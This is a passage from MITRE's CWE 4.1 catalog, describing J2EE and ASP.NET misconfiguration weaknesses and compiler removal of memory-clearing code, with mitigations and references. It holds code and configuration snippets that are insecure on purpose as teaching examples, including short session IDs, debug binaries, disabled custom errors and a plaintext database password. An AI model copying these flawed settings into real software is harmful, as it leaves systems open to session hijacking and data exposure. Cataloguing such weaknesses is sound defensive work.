CWE Version 4.1

MITRE

CWE Version 4.1

2020-06-25

CWE is a Software Assurance strategic initiative sponsored by the National Cyber Security Division of the U.S. Department of Homeland Security

Contact cwe@mitre.org for more information

Table of Contents

CWE Categories

CWE Views

Appendix A: Graph Views

Symbols

Symbol	Meaning
	View
	Category
	Weakness - Class
	Weakness - Base
	Weakness - Variant
	Compound Element - Composite
	Compound Element - Named Chain
	Deprecated

Weaknesses

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Weakness ID : 5 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	319	Cleartext Transmission of Sensitive Information	705

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

Potential Mitigations

Phase: System Configuration

The application configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Other

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed: A user manually enters URL and types "HTTP" rather than "HTTPS". Attackers intentionally send a user to an insecure URL. A programmer erroneously creates a relative link to a page in the application, which does not

switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Insecure Transport

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

Weakness ID : 6 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The J2EE application is configured to use an insufficient session ID length.

Extended Description

If an attacker can guess or steal a session ID, then they may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	334	Small Space of Random Values	742

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Background Details

Session ID's can be used to identify communicating parties in a web environment.

The expected number of seconds required to guess a valid session identifier is given by the equation: (2^B+1)/(2*A*S) Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero

bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *If an attacker can guess an authenticated user's session identifier, they can take over the user's session.*	

Potential Mitigations

Phase: Implementation

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

Phase: Implementation

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

Demonstrative Examples

Example 1:

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

Example Language: XML *(bad)*

```
<sun-web-app>
   ...
   <session-config>
      <session-properties>
         <property name="idLengthBytes" value="8">
            <description>The number of bytes in this web module's session ID.</description>
         </property>
      </session-properties>
   </session-config>
   ...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation

for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	965	SFP Secondary Cluster: Insecure Session Management	888	1943

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Insufficient Session-ID Length

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Credentials
59	Session Credential Falsification through Prediction

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-482]Zvi Gutterman. "Hold Your Sessions: An Attack on Java Session-id Generation". 2005 February 3. < http://www.securiteam.com/securityreviews/5TP0F0UEVQ.html >.

CWE-7: J2EE Misconfiguration: Missing Custom Error Page

Weakness ID : 7 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The default error page of a web application should not display sensitive information about the software system.

Extended Description

A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	756	Missing Custom Error Page	1390

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.*	

Potential Mitigations

Phase: Implementation

Handle exceptions appropriately in source code.

Phase: Implementation

Phase: System Configuration

Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

Phase: Implementation

Do not attempt to process an error or attempt to mask it.

Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

Demonstrative Examples

Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java *(bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Missing Error Handling

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-65]M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". 2005 July 6. McGraw-Hill/Osborne.

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

Weakness ID : 8 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	668	Exposure of Resource to Wrong Sphere	1305

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

Potential Mitigations

Phase: Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: XML *(bad)*

```
<ejb-jar>
  <enterprise-beans>
    <entity>
      <ejb-name>EmployeeRecord</ejb-name>
      <home>com.wombat.empl.EmployeeRecordHome</home>
      <remote>com.wombat.empl.EmployeeRecord</remote>
      ...
    </entity>
    ...
  </enterprise-beans>
</ejb-jar>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Other

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Unsafe Bean Declaration
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

Weakness ID : 9 **Status:** Draft

Structure : Simple
Abstraction : Variant

Description

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.

Extended Description

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	580

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

Demonstrative Examples

Example 1:

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

Example Language: XML *(bad)*

```
<ejb-jar>
   ...
   <assembly-descriptor>
      <method-permission>
         <role-name>ANYONE</role-name>
         <method>
         <ejb-name>Employee</ejb-name>
         <method-name>getSalary</method-name>
      </method-permission>
   </assembly-descriptor>
   ...
</ejb-jar>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Misconfiguration: Weak Access Permissions

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID : 11 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Debugging messages help attackers learn about the system and plan a form of attack.

Extended Description

ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	489	Active Debug Code	1042

Applicable Platforms

Language : ASP.NET *(Prevalence = Undetermined)*

Background Details

The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.*	

Potential Mitigations

Phase: System Configuration

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

Demonstrative Examples

Example 1:

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

Example Language: XML *(bad)*

```
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
   <system.web>
      <compilation
      defaultLanguage="c#"
      debug="true"
      />
      ...
   </system.web>
</configuration>
```

Change the debug mode to false when the application is deployed into production.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Creating Debug Binary

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID : 12 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	756	Missing Custom Error Page	1390

Applicable Platforms

Language : ASP.NET *(Prevalence = Undetermined)*

Background Details

The mode attribute of the <customErrors> tag defines whether custom or default error pages are used.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Default error pages gives detailed information about the error that occurred, and should not be used in production environments. Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.*	

Potential Mitigations

Phase: System Configuration

Handle exceptions appropriately in source code. ASP .NET applications should be configured to use custom error pages instead of the framework default page.

Phase: Architecture and Design

Do not attempt to process an error or attempt to mask it.

Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.

Demonstrative Examples

Example 1:

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Example Language: ASP.NET *(bad)*

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Example Language: ASP.NET *(good)*

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

Example Language: ASP.NET *(good)*

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Missing Custom Error Handling

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-65]M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". 2005 July 6. McGraw-Hill/Osborne.

[REF-66]OWASP, Fortify Software. "ASP.NET Misconfiguration: Missing Custom Error Handling". < http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling >.

CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID : 13 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	260	Password in Configuration File	573

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Implementation

Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

Demonstrative Examples

Example 1:

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			ASP.NET Misconfiguration: Password in Configuration File

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-103]Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI". < http://msdn.microsoft.com/en-us/library/ms998280.aspx >.

[REF-104]Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA". < http://msdn.microsoft.com/en-us/library/ms998283.aspx >.

[REF-105]Microsoft Corporation. ".NET Framework Developer's Guide - Securing Connection Strings". < http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx >.

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID : 14 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description

This compiler optimization error occurs when:

- 1. Secret data are stored in memory.
- 2. The secret data are scrubbed from memory by overwriting its contents.
- 3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	733	Compiler Optimization Removal or Modification of Security-critical Code	1375

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood
	This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.	

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Potential Mitigations

Phase: Implementation

Store the sensitive data in a "volatile" memory location if available.

Phase: Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

Phase: Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

Demonstrative Examples

Example 1:

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

Example Language: C *(bad)*

```
void GetData(char *MFAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAddr, pwd)) {
            // Interaction with mainframe
        }
    }
    memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the

memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	2	7PK - Environment	700	1848
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Insecure Compiler Optimization
PLOVER			Sensitive memory uncleared by compiler optimization
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
CERT C Secure Coding	MSC06-C		Be aware of compiler optimization when dealing with sensitive data
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-124]Michael Howard. "When scrubbing secrets in memory doesn't work". BugTraq. 2002 November 5. < http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html >.

[REF-125]Michael Howard. "Some Bad News and Some Good News". 2002 October 1. Microsoft. < http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure10102002.asp >.

[REF-126]Joseph Wagner. "GNU GCC: Optimizer Removes Code Necessary for Security". Bugtraq. 2002 November 6. < http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html >.

CWE-15: External Control of System or Configuration Setting

Weakness ID : 15 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

One or more system settings or configuration elements can be externally controlled by a user.

Extended Description

Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1213
ChildOf		642	External Control of Critical State Data	1257

